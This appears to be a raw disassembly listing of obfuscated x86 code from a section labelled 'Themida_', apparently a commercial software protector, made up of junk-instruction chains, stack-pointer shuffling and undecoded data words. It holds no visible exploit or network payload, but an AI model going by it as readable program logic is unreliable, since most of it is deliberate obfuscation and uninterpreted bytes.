push ebx
xor dword ptr [esp], 6F1474BBh
mov eax, [esp]
jmp loc_55B0F2
; ---------------------------------------------------------------------------
dd 405h, 4C08300h, 2CADE9h, 0EFE95900h, 80FFFF64h, 0B450FEC3h
dd 37E480BEh, 186DE9h, 3C99BD00h, 0E58139A3h, 60883506h
dd 0F705EDC1h, 2BC581DDh, 81598B4Ah, 0B70730E5h, 9C5817Bh
dd 21C81950h, 242C8BEAh, 4C481h, 0EA810000h, 627C58FDh
dd 0E708EA81h, 0D789BE23h, 0F8BA525Ah, 0E95D3767h, 0FFFFF451h
dd 66F9F65Ch, 68CCB60Fh, 0B23h, 68240489h, 2EB9h, 24048F54h
dd 28B2E9h, 1A836800h, 1C890000h, 4C5BE924h
db 2 dup(0FFh)
word_55E8C6 dw 148Bh ; DATA XREF: Themida_:0054FDC4o
dd 0E666824h, 2C890000h, 0E9E58924h, 0FFFF75DDh
; ---------------------------------------------------------------------------
loc_55E8D8: ; CODE XREF: Themida_:0055E383j
add esp, 4
push 5367h
jmp loc_5570D9
; ---------------------------------------------------------------------------
loc_55E8E8: ; CODE XREF: Themida_:00550890j
push 4492h
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
loc_55E905: ; CODE XREF: Themida_:0055511Ej
; Themida_:loc_5558D0j
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_556D83
; ---------------------------------------------------------------------------
dw 2489h
dd 0D9E5E924h, 0EA81FFFFh, 4, 2474FF52h, 4BB6E904h
db 2 dup(0FFh)
word_55E92E dw 1CF7h ; DATA XREF: Themida_:0054FE2Co
dd 16E99C24h, 56FFFF92h, 0FFB6ECE9h, 4BAFFh, 28E90000h
dd 29000041h, 6B1305D8h, 8905207Bh, 5307E664h, 56001ABBh
dd 176A052Ch, 0D80129EDh, 10F3E9h
db 0
; ---------------------------------------------------------------------------
loc_55E965: ; CODE XREF: Themida_:0055CB3Bj
sub edx, ebx
pop ebx
shr edx, 5
push esi
mov esi, 229D17Eh
jmp loc_552F99
; ---------------------------------------------------------------------------
loc_55E976: ; CODE XREF: Themida_:0055E35Ej
and ecx, 2A849F9h
xor ecx, 10907FA2h
sub ebp, ecx
jmp loc_55E24E
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
aZrsZ db 'ZRéœZ',0
dw 5B00h
dd 5C241487h, 5B2434FFh, 8904EC83h, 0D3E9242Ch, 89FFFFC8h
dd 6650241Ch, 48BF6657h, 3526E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E9B6: ; CODE XREF: Themida_:00557EA0j
xchg ecx, [esp]
mov esp, [esp]
imul cl
jmp loc_55F334
; ---------------------------------------------------------------------------
loc_55E9C3: ; CODE XREF: Themida_:0055C9A6j
push dword ptr [esp]
pop eax
push 4B93h
mov [esp], esi
mov esi, esp
push ebp
mov ebp, 56C5004Ch
jmp loc_565289
; ---------------------------------------------------------------------------
loc_55E9DC: ; CODE XREF: Themida_:00557D84j
mov edi, esp
add edi, 4
add edi, 4
jmp loc_556D63
; ---------------------------------------------------------------------------
dd 8E15E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E9F2: ; CODE XREF: Themida_:0055EC86j
mov ebp, [esp]
add esp, 4
xchg edi, [esp]
pop esp
push edx
push 2AAFh
mov [esp], edi
push 280707BDh
mov edi, [esp]
add esp, 4
shr edi, 3
shr edi, 5
push ebx
jmp loc_5610AF
; ---------------------------------------------------------------------------
db 31h
dd 4332404h, 34895C24h, 40E95724h
db 8Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EA2F: ; CODE XREF: Themida_:0055B7BEj
pop esp
jmp loc_553DCC
; ---------------------------------------------------------------------------
db 87h, 1Ch, 24h
dd 0FFAD11E9h, 241431FFh, 5C241433h, 9C2404FEh, 0FF14CAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EA4D: ; CODE XREF: Themida_:00563F6Aj
sub ebx, ebp
pop ebp
push ebx
mov edx, [esp]
add esp, 4
pop ebx
push ecx
mov ecx, 70A62CA0h
jmp loc_550E85
; ---------------------------------------------------------------------------
loc_55EA63: ; CODE XREF: Themida_:0055F1C8j
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], ebp
mov ebp, 71527FF8h
xor eax, ebp
pop ebp
sub eax, 382C326Dh
sub edx, 6F884B2Ch
sub edx, 23AF71EAh
sub edx, eax
add edx, 23AF71EAh
jmp loc_558CC9
; ---------------------------------------------------------------------------
db 55h, 0BDh, 90h
dd 0F763C61Bh, 27F581D5h, 0E933C025h, 0FFFF9562h, 0E9243C87h
dd 11C5h, 6B78EF81h, 80E91BDFh, 8B000006h, 54532414h, 4C3815Bh
dd 51000000h, 4B9h, 59CB0100h, 0E9241C87h, 0FFFFE5C1h
dd 5D240CFFh, 428CE581h, 0B850293Dh, 9F7C514h, 0E958C501h
dd 5C07h, 24440159h, 24048B04h, 4C481h, 0E95B0000h, 6977h
dd 4240483h, 81243C8Bh, 4C4h, 0D5685300h, 8900000Eh, 0D6BA2414h
dd 4220961Bh, 796BCA81h, 0BD554350h, 2280650h, 1958CD81h
dd 0ED814F92h, 531C0696h, 2CABC581h, 0E58113B9h, 66AA3508h
dd 507ED81h, 0EA010002h, 0FFB0A4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EB55: ; CODE XREF: Themida_:00559117j
sub esp, 4
mov [esp], ebp
push edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
mov [esp], eax
push edi
jmp loc_54FF80
; ---------------------------------------------------------------------------
db 56h, 0E9h, 29h
dd 83FFFFEFh, 2C8704C5h, 24248B24h, 68C8BE0Fh, 75Fh, 54241489h
dd 1267E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55EB9E: ; CODE XREF: Themida_:0055D407j
pop edx
push 491h
mov [esp], ecx
jmp loc_554989
; ---------------------------------------------------------------------------
dd 62F68158h, 297D880Ah, 34E95EF1h, 89000056h, 405E0h
dd 0BC680000h, 0E9000019h, 0FFFFBA52h
; ---------------------------------------------------------------------------
loc_55EBCC: ; CODE XREF: Themida_:00561E0Fj
pop edi
add eax, esi
add eax, 25F4466h
mov esi, [esp]
add esp, 4
push 6B11h
jmp loc_551DE1
; ---------------------------------------------------------------------------
db 58h
dd 5968FB01h, 89000036h, 5AE9240Ch, 21FFFFD1h, 0BB535BD8h
dd 13937EBCh, 7EF9EB81h, 0D8015513h, 58C7015Bh, 0FFACC3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EC11: ; CODE XREF: Themida_:00551201j
mov esi, [esp]
add esp, 4
push ebx
mov ebx, 4
add ecx, 6B99603Eh
add ecx, ebx
sub ecx, 6B99603Eh
jmp loc_55E408
; ---------------------------------------------------------------------------
db 80h
dd 0CE8888C1h, 66F48859h, 8324148Bh, 0EA8002C4h, 80E2001Bh
dd 0E9581BC2h, 526h, 8B243C33h, 8B662424h, 89512404h, 0A8BA52E1h
dd 683F114Bh, 6E88h, 0BE243489h, 52D46C36h, 0FFA15FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EC75: ; CODE XREF: Themida_:00560570j
mov eax, 7D20446Fh
and ecx, eax
pop eax
add ecx, 17F2DDF5h
sub edi, ecx
pop ecx
jmp loc_55E9F2
; ---------------------------------------------------------------------------
db 1
dd 55F59C8h, 232512EFh, 7697C181h, 0E9811018h, 18715934h
dd 0FFB025E9h, 885259FFh, 88C2FEC2h, 0CE97E9D0h, 0EA81FFFFh
dd 0FFFFFFFFh, 0FFA4CDE9h, 81CA01FFh, 0A16F38C2h, 99C2816Ah
dd 0FF2C701Bh, 0C8B2434h, 710FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55ECD6: ; CODE XREF: Themida_:0055B904j
or edi, 2ED7E6Ch
neg edi
add edi, 78E816FFh
shr edi, 7
sub edi, 1F9F12Ch
add eax, edi
pop edi
jmp loc_55CCD6
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 0B850E289h, 3C887E20h, 0FF15B8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55ED05: ; CODE XREF: Themida_:0055C9C9j
mov [esp], esi
mov esi, edi
mov edx, esi
pop esi
pop edi
add edx, edi
push ecx
push ebp
jmp loc_55B2FD
; ---------------------------------------------------------------------------
db 81h
dd 0F6307DC1h, 81F10106h, 0F6307DE9h, 0E9535706h, 0
dd 78442ABBh, 37F38154h, 834C2C45h, 348904ECh, 380BE24h
dd 0EE97582h, 83FFFF6Eh, 248904ECh, 20C4E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55ED52: ; CODE XREF: Themida_:00552C6Cj
pop esp
jmp loc_55237E
; ---------------------------------------------------------------------------
dd 0C80001B1h, 2C5A5966h, 52E8282Ah, 0FF3B6CE9h, 56E955FFh
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55ED6F: ; CODE XREF: Themida_:00561725j
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
push 5AF0h
jmp loc_564AEE
; ---------------------------------------------------------------------------
db 87h
dd 895C2404h, 9968240Ch, 8900003Fh, 0B6522404h, 8851538Dh
dd 0C88850F1h, 2897E9h, 5C296600h, 46E90424h
db 3Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EDB3: ; CODE XREF: Themida_:005583AAj
sub ecx, 182F6C80h
add ebx, ecx
pop ecx
add ebx, 4
jmp loc_554A5B
; ---------------------------------------------------------------------------
loc_55EDC4: ; CODE XREF: Themida_:00554574j
push esi
mov esi, 46BD4CDCh
jmp loc_55BFCA
; ---------------------------------------------------------------------------
db 81h
dd 7B23B7EBh, 0E9030126h, 0FFFF19A5h
dword_55EDDC dd 0E924248Bh, 0FFFF1133h ; DATA XREF: Themida_:0054FCA4o
; ---------------------------------------------------------------------------
loc_55EDE4: ; CODE XREF: Themida_:00552E1Cj
sub ebp, edx
jmp loc_55F40F
; ---------------------------------------------------------------------------
db 0F7h
dd 0D4BD55D0h, 977296Dh, 0BE95DE8h
db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EDFB: ; CODE XREF: Themida_:00551421j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add eax, 174358E8h
sub eax, 1BAE3E1Ch
add eax, edi
push ebp
mov ebp, 1BAE3E1Ch
add eax, ebp
jmp loc_55F702
; ---------------------------------------------------------------------------
db 29h, 0FEh, 5Fh
dd 16D8C681h, 15E958ABh
db 61h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55EE2F: ; CODE XREF: Themida_:0055FC6Bj
sub esp, 4
mov [esp], esi
push ebx
jmp loc_55BA98
; ---------------------------------------------------------------------------
db 1
dd 5904244Ch, 8B2434FFh, 0C483240Ch, 4C48304h, 4BD55h
dd 0F1E90000h, 5FFFFFEBh, 2E981h, 0C870000h, 0F6E95C24h
dd 5FFFF4Bh, 4, 0FFA4CCE9h, 10A1E9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EE76: ; CODE XREF: Themida_:0055D37Bj
add dword ptr [esp], 74466712h
pop eax
sub eax, 74466712h
mov esi, [esp]
add esp, 4
sub eax, 5017F8Bh
jmp loc_55D38B
; ---------------------------------------------------------------------------
dw 8F54h
dd 0BE562404h, 4, 4247401h, 3CC1E9h, 2434FF00h, 0FFC4C9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EEB1: ; CODE XREF: Themida_:0055C5E6j
sub esi, ebp
add esi, 6C1F3EB8h
pop ebp
or edi, esi
jmp loc_5548DE
; ---------------------------------------------------------------------------
loc_55EEC1: ; CODE XREF: Themida_:00560A16j
and ecx, edi
push dword ptr [esp]
push dword ptr [esp]
pop edi
push 60FAh
mov [esp], edi
push esp
pop edi
push edx
mov edx, 30125D30h
sub edx, 4C450763h
sub edx, 0E3CD55C9h
push ebp
mov ebp, 51C72630h
add edi, ebp
pop ebp
jmp loc_557BF0
; ---------------------------------------------------------------------------
dd 0ED12A6B9h, 244C3141h, 240C8B04h, 2DC1E952h
db 2 dup(0)
word_55EF06 dw 8B66h ; DATA XREF: Themida_:0054FDFCo
dd 0DD682404h, 89000029h, 0E189240Ch, 4C181h, 0BF570000h
dd 4F1043B1h, 2C17EF81h, 0D7F71872h, 8103EFC1h, 2C3D08F7h
dd 5FF92919h, 5C240C87h, 0FFFDB8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55EF3D: ; CODE XREF: Themida_:00552A0Aj
shr ebp, 5
push ebx
mov ebx, 315A2963h
add ebx, 1DBB1946h
and ebx, 7CA9446Ah
not ebx
not ebx
neg ebx
add ebx, 4C014824h
jmp loc_55B127
; ---------------------------------------------------------------------------
loc_55EF63: ; CODE XREF: Themida_:00562DE3j
push esp
pop ebx
jmp loc_558EEE
; ---------------------------------------------------------------------------
loc_55EF6A: ; CODE XREF: Themida_:00564BC8j
mov edx, [esp]
add esp, 4
pop ecx
push 5B5Bh
mov [esp], ecx
mov cl, bl
jmp loc_55B045
; ---------------------------------------------------------------------------
db 83h
dd 48F04C4h, 113EE924h, 0E1810000h, 66CF3F4Ch, 0E98149h
dd 814D306Ch, 1C6EEEE9h, 0E4C18174h, 13B72B3h, 8D9AE9C8h
dd 1C87FFFFh, 24248B24h, 20B2E9h
db 0
; ---------------------------------------------------------------------------
loc_55EFB9: ; CODE XREF: Themida_:00555598j
sub ebx, 28441ECDh
shr ebx, 2
push edx
jmp loc_561DC0
; ---------------------------------------------------------------------------
dd 0B6525A66h, 0A476E951h, 0EB80FFFFh, 5BD800D2h, 0E9D82859h
dd 0FFFFCD9Bh
; ---------------------------------------------------------------------------
loc_55EFE0: ; CODE XREF: Themida_:0055FA0Bj
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 61A21D2Fh
xor ebp, 39452801h
add ebp, 0A718CAD6h
sub ecx, 4114470Ch
add ecx, ebp
push edx
mov edx, 4E7C2860h
push ebp
mov ebp, 6D0B3E8Fh
jmp loc_556CB2
; ---------------------------------------------------------------------------
loc_55F019: ; CODE XREF: Themida_:0055A946j
push edx
jmp loc_557119
; ---------------------------------------------------------------------------
db 1
aSi3 db 'ß[éˆ3',0
dw 2900h
dd 2434FFD3h, 8324148Bh, 895704C4h, 4C781E7h, 52000000h
dd 4BAh, 50BDE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F046: ; CODE XREF: Themida_:00564850j
mov cl, dh
pop edx
jmp loc_55544A
; ---------------------------------------------------------------------------
dw 5558h
dd 50BE5BDh, 99ED812Ah, 0E929A2D8h, 0FFFFB493h, 5966CB00h
dd 1AD5E953h, 0CD810000h, 16CB6589h, 41DCB850h, 62E95C3Ch
dd 83FFFF51h, 2FE904C4h, 8100002Bh, 3D6A40E7h, 9CEF8127h
dd 97006C44h, 8197D0F7h, 50449BEFh, 3C51E9DAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F09E: ; CODE XREF: Themida_:0055572Ej
pop esp
jmp loc_564B68
; ---------------------------------------------------------------------------
loc_55F0A4: ; CODE XREF: Themida_:00557484j
not esi
jmp loc_55AC6C
; ---------------------------------------------------------------------------
loc_55F0AB: ; CODE XREF: Themida_:00558FDCj
mov [esp], esi
push 20216E5Fh
pop esi
push esi
xchg ebp, [esp]
xchg ebx, ebp
jmp loc_561E5A
; ---------------------------------------------------------------------------
db 50h
dd 1A2B72B8h, 2B763516h, 0C601161Ah, 4C68358h, 5C243487h
dd 0E924048Fh, 0FFFF99ADh
; ---------------------------------------------------------------------------
loc_55F0DC: ; CODE XREF: Themida_:00562F52j
add ebp, 4
xchg ebp, [esp]
jmp loc_55C4AA
; ---------------------------------------------------------------------------
dw 0EC83h
dd 0A25AE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F0F2: ; CODE XREF: Themida_:0055D433j
add edi, eax
pop eax
sub esp, 4
mov [esp], edi
mov edi, 22E64288h
sub eax, 14BE27E2h
jmp loc_560E2A
; ---------------------------------------------------------------------------
aFhcnsR db 'fhCNéÐR',0
dw 8900h
dd 0E8E9241Ch, 40000049h, 197BE992h, 0D901FFFFh, 73BDE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F12A: ; CODE XREF: Themida_:00557947j
pop esi
pop dword ptr [esp]
pop esp
mov [esp], esi
push 7235h
mov [esp], ebx
jmp loc_55B695
; ---------------------------------------------------------------------------
db 1
dd 243C8BFDh, 4C481h, 10680000h, 0E900005Dh, 5C4Bh, 0E924248Bh
dd 0FFFF5855h, 0BEEB815Ah, 0E923CC7Dh, 0FFFF8854h
; ---------------------------------------------------------------------------
loc_55F168: ; CODE XREF: Themida_:005525C3j
mov ebp, esi
jmp loc_558668
; ---------------------------------------------------------------------------
loc_55F16F: ; CODE XREF: Themida_:00554A50j
xor eax, ebp
jmp loc_556268
; ---------------------------------------------------------------------------
dw 8059h
dd 1F04BEC2h, 1F2CD028h, 0E92434FFh, 0FFFF24EBh, 3DB3E956h
dd 0C581FFFFh, 0DA9FEB48h, 0E95DE931h, 1661h
; ---------------------------------------------------------------------------
loc_55F19C: ; CODE XREF: Themida_:00561523j
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
sub eax, 14B0126Ah
sub edx, 764679EBh
add edx, 27A326EDh
push eax
push 293F2907h
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_55EA63
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
db '$h"{',0
align 2
aIH_0 db '‰,$h:,',0
align 2
dw 2489h
dd 24048124h, 4, 4EC835Dh, 0E9240489h, 0FFFF5558h, 4EC81h
dd 0F8E90000h
db 35h, 2 dup(0FFh)
off_55F1FF dd offset dword_591168 ; DATA XREF: Themida_:0054FCB4o
align 4
dd 4EC8151h, 0E9000000h, 5341h, 815AD501h, 3C7D5FEDh, 81DD0114h
dd 3C7D5FC5h, 1BED8114h, 8B76D629h, 0C481241Ch, 4, 4EC8157h
dd 0E9000000h, 0FFFFD89Eh, 4245C31h, 0E9555E5Bh, 0FFFF132Eh
dd 33242C31h, 575C242Ch, 4BFh, 8BFA0100h, 8953243Ch, 4C381E3h
dd 81000000h, 4C3h, 241C8700h, 0E924248Bh, 0FFFFA3A1h
; ---------------------------------------------------------------------------
loc_55F274: ; CODE XREF: Themida_:005608EBj
mov esi, edx
pop edx
not esi
sub esi, 8EDB512Fh
sub edi, esi
mov esi, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_559A83
; ---------------------------------------------------------------------------
loc_55F28F: ; CODE XREF: Themida_:00550184j
mov ecx, [esp]
add esp, 4
dec edi
add edi, 66184DB5h
xor edi, 8F0AE5E2h
jmp loc_561854
; ---------------------------------------------------------------------------
aHN db ']hšn',0
align 10h
dd 0E9243C89h, 0FFFFCC3Ah
; ---------------------------------------------------------------------------
loc_55F2B8: ; CODE XREF: Themida_:0055BC9Dj
push dword ptr [esp]
jmp loc_551705
; ---------------------------------------------------------------------------
dd 6F5668h, 243C8900h, 0E9E38953h, 0FFFF5FF6h, 2525ED81h
dd 0E901CD3Ah, 56242C8Bh, 0FF2E3DE9h, 0AC80BAFFh, 0F201C5ABh
dd 5AD1215Eh, 0F181E9D1h, 49CF159Ah, 0FF8E74E9h, 87048FFFh
dd 0FF0C16E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F301: ; CODE XREF: Themida_:00554652j
mov esi, eax
pop eax
and eax, esi
push dword ptr [esp]
pop esi
push ebp
push 1DA7h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_562032
; ---------------------------------------------------------------------------
byte_55F31F db 66h ; DATA XREF: Themida_:0054FD84o
dd 8124048Bh, 4ECh, 241C8900h, 0E9E38953h, 1D9Eh
; ---------------------------------------------------------------------------
loc_55F334: ; CODE XREF: Themida_:0055E9BEj
movzx cx, ah
push ebx
mov ebx, esp
add ebx, 4
jmp loc_56055B
; ---------------------------------------------------------------------------
dw 0C483h
dd 241C8704h, 0ADE4E95Ch, 0EC83FFFFh, 6291E904h, 0ED81FFFFh
dd 65FE7BF7h, 505DEE01h, 0D06AD4B8h, 17473537h, 2D405797h
dd 66FF78A1h, 0ACE9D0F7h, 8B000031h, 0C483241Ch, 5BCD0504h
dd 0CBE9578Ah, 89FFFFD8h, 7FBA2414h, 0C1393C5Ah, 0F4E905EAh
dd 55FFFF37h, 1D72FABDh, 81D5F706h, 0A30EA5E5h, 90F58161h
dd 0C1245C14h, 0D5F707E5h, 0FF3564E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F3B9: ; CODE XREF: Themida_:0055AD69j
pop edx
mov esi, [esp]
add esp, 4
add ecx, 5A0D3EC9h
push ecx
pop esi
mov ecx, [esp]
add esp, 4
push ecx
mov ecx, 713776ABh
jmp loc_557F3B
; ---------------------------------------------------------------------------
loc_55F3DC: ; CODE XREF: Themida_:0055B184j
push dword ptr [eax]
mov ecx, [esp]
add esp, 4
jmp loc_558BB6
; ---------------------------------------------------------------------------
aQhi db 'Qh›!',0
align 2
dw 3489h
dd 5E89BE24h, 0C6812232h, 55283713h, 3E6C14Eh, 1C681h
dd 0EEE90000h
db 51h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F40F: ; CODE XREF: Themida_:0055EDE6j
pop edx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], ebp
push ecx
mov ecx, 378B25DCh
mov ebp, 378B25E0h
sub ebp, ecx
mov ecx, [esp]
add esp, 4
add eax, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
push ebp
push ebx
mov ebx, 3D320F66h
shl ebx, 2
dec ebx
not ebx
xor ebx, 0B37C26Ah
mov ebp, ebx
pop ebx
sub eax, ebp
pop ebp
xchg eax, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_54FF17
; ---------------------------------------------------------------------------
dd 8B2434FFh, 0C4832404h, 54E95504h
db 38h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F47B: ; CODE XREF: Themida_:00564E9Aj
neg edx
add edx, 0D96FAE4Eh
mov ebp, edx
pop edx
jmp loc_55283C
; ---------------------------------------------------------------------------
loc_55F48B: ; CODE XREF: Themida_:005617F6j
push esi
mov esi, 38AB3CAAh
sub eax, esi
pop esi
jmp loc_556596
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
aIHx db '‰,$hå)',0
align 4
dd 0FF4CB0E9h, 3CD366FFh, 64E99C24h, 81FFFF0Ah, 323057C6h
dd 0FFEE810Eh, 8174EF65h, 9E4C8F6h, 5EF031F9h, 0FF594AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F4CD: ; CODE XREF: Themida_:00561869j
shl edx, 7
add edx, 3504106h
sub edi, edx
pop edx
add ebx, edi
jmp loc_5526A3
; ---------------------------------------------------------------------------
dd 0C23E981h, 0E1C10A26h, 65E98106h, 0C13EA728h, 0C18108E1h
dd 18F5CDCCh, 159CF31h, 0B7E95FF8h
db 54h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F503: ; CODE XREF: Themida_:00550C29j
mov eax, [esp]
add esp, 4
jmp loc_55BBBA
; ---------------------------------------------------------------------------
dw 3C89h
dd 26824h, 3C8B0000h, 0E06BE924h, 5F58FFFFh, 6C31EB81h
dd 0D30148CEh, 6C31C381h, 148B48CEh, 4C48124h, 81000000h
dd 4C3h, 28D2E900h, 248B0000h, 59BF5724h, 0F75E8767h, 4703E9D7h
db 2 dup(0)
word_55F552 dw 8B66h ; DATA XREF: Themida_:0054FD90o
dd 89512404h, 4EC83E1h, 89243489h, 4C681E6h, 81000000h
dd 4EEh, 24348700h, 241C895Ch, 5CC2E9h, 5F545700h, 4BD55h
dd 51E90000h, 5DFFFFE6h, 8104EE83h, 4ECh, 24348900h, 42474FFh
dd 24048F5Eh, 8924248Bh, 8CB1240Ch, 820B050h, 87E958C1h
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F5AF: ; CODE XREF: Themida_:00550BA9j
add edx, esi
pop esi
xor edx, [esp]
xor [esp], edx
jmp loc_5509AD
; ---------------------------------------------------------------------------
db 87h, 4, 24h
dd 0FF2CA1E9h, 4C083FFh, 5C240487h, 0F4BA5253h, 524F6B1Bh
dd 0FFDDC9E9h, 2BE780FFh, 1931E951h, 0C2FE0000h, 807FB151h
dd 0CA0082C1h, 26B15159h, 8004E9C0h, 0C980E6C1h, 0B7536637h
dd 66F930A0h, 0A9A7E95Bh
db 2 dup(0FFh)
word_55F606 dw 0FF64h ; DATA XREF: Themida_:0054FD6Co
dd 909E932h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F60E: ; CODE XREF: Themida_:005526B6j
mov ebp, edx
pop edx
and esi, ebp
jmp loc_555E29
; ---------------------------------------------------------------------------
dd 4C481h, 0C5810000h, 4, 0FF7FEAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F629: ; CODE XREF: Themida_:00559721j
push dword ptr [esp]
pop esi
jmp loc_55839B
; ---------------------------------------------------------------------------
dw 1C8Bh
dd 4C48124h, 0E9000000h, 0FFFF78DCh
; ---------------------------------------------------------------------------
loc_55F640: ; CODE XREF: Themida_:005527A3j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push 1E79h
mov [esp], edx
push esi
push 2D6C43FCh
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_555E4F
; ---------------------------------------------------------------------------
dw 0BB53h
dd 40DF61E4h, 95BDF29h, 243C8BFAh, 81E18951h, 4C1h, 4C18100h
dd 0E9000000h, 4483h
; ---------------------------------------------------------------------------
loc_55F68C: ; CODE XREF: Themida_:005618AAj
add esp, 4
add ebp, 4A0F4C80h
mov eax, ebp
pop ebp
xchg eax, ecx
push ecx
not dword ptr [esp]
jmp loc_5602B3
; ---------------------------------------------------------------------------
dw 0C29h
dd 0D9F75924h, 2445E981h, 0E1C10119h, 0EC18104h, 296E9749h
dd 0F58959CEh, 4DE9815Eh, 102F201h, 4DC181E9h, 5D02F201h
dd 4EC81h, 0C890000h, 2474FF24h, 240C8B04h, 0E904C483h
dd 0FFFFD3EEh, 4F05F829h, 5F7EAA22h, 46209405h, 32282D30h
dd 0D801506Ch, 6C322805h, 0E109E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F702: ; CODE XREF: Themida_:0055EE1Cj
pop ebp
push ebx
mov ebx, 174358E8h
sub eax, 5DAA2476h
sub eax, ebx
add eax, 5DAA2476h
pop ebx
pop edi
jmp loc_5554ED
; ---------------------------------------------------------------------------
loc_55F71C: ; CODE XREF: Themida_:00556A24j
sub bl, 0E9h
jmp loc_562B45
; ---------------------------------------------------------------------------
dword_55F724 dd 24048B66h, 2BF568h, 24148900h, 0F068E289h, 8900002Ch
; DATA XREF: Themida_:0054FE64o
dd 4B82404h, 0E9000000h, 0FFFFD750h, 8B2434FFh, 0C4832404h
dd 0A8E95004h, 0BBFFFFDEh, 4080BC00h, 505BD931h, 8F6539B8h
dd 58C20161h, 0FF4675E9h, 0C48159FFh, 4, 3C0168h, 0F999E900h
dd 8BAFFFFh, 313FA536h, 0F5895AD6h, 0FFCCE6E9h, 0E7E956FFh
dd 81000051h, 65885AC7h, 5FF98997h, 0FFCBE7E9h, 2BEFFh
dd 4BE90000h
db 2Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F7A7: ; CODE XREF: Themida_:005542DAj
sub esi, ebx
add esi, 7B512879h
mov ebx, [esp]
add esp, 4
or [edi+1Ch], esi
push dword ptr [esp]
pop esi
jmp loc_55DF61
; ---------------------------------------------------------------------------
db 66h, 59h, 0E9h
dd 0FFFF074Fh
; ---------------------------------------------------------------------------
loc_55F7C8: ; CODE XREF: Themida_:005552C1j
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
shr ecx, 7
push 552Ch
mov [esp], edx
mov edx, esp
add edx, 4
push 5FC9h
mov [esp], esi
push edx
mov edx, 4
mov esi, edx
mov edx, [esp]
add esp, 4
push 2062h
mov [esp], ebp
mov ebp, 3F521D00h
sub edx, ebp
push dword ptr [esp]
mov ebp, [esp]
push ebp
jmp loc_551D9B
; ---------------------------------------------------------------------------
db 0E9h, 0FDh, 6
dd 0C8BFFFFh, 4C48124h, 0E9000000h, 0FFFFDD0Fh, 5004E2C1h
dd 0EC71E956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F832: ; CODE XREF: Themida_:00555D4Bj
mov edi, 221D536Bh
and edi, 6ADC55EBh
jmp loc_563263
; ---------------------------------------------------------------------------
loc_55F842: ; CODE XREF: Themida_:0055B784j
mov edx, 4AFC2D5Ah
shl edx, 2
jmp loc_55712A
; ---------------------------------------------------------------------------
loc_55F84F: ; CODE XREF: Themida_:0055D0E9j
pop eax
add bl, 0Ch
jmp loc_556A0B
; ---------------------------------------------------------------------------
dd 3B14B9h, 81D9F71Fh, 0FFFFFFC1h, 0F7D987FFh, 0F7D987D3h
dd 4F3AE9D1h, 0E3890000h, 0FF8811E9h, 81D7F7FFh, 0AE07A0EFh
dd 0C1C78127h, 81661038h, 6676B0EFh, 0FCC78175h, 21C331A0h
dd 28055FF8h, 563B5F14h, 437B80BEh, 81D6F711h, 0FC6EFEEEh
dd 14F75663h, 0C6815E24h, 9D1A2429h, 355EF031h, 69AA12DBh
dd 0E958C201h, 0FFFF74D7h, 5ABD55h, 6AE954ECh, 81FFFF73h
dd 0EE5253E7h, 2F97E977h, 0E942FFFFh, 0FFFF6F04h, 0F0886EB6h
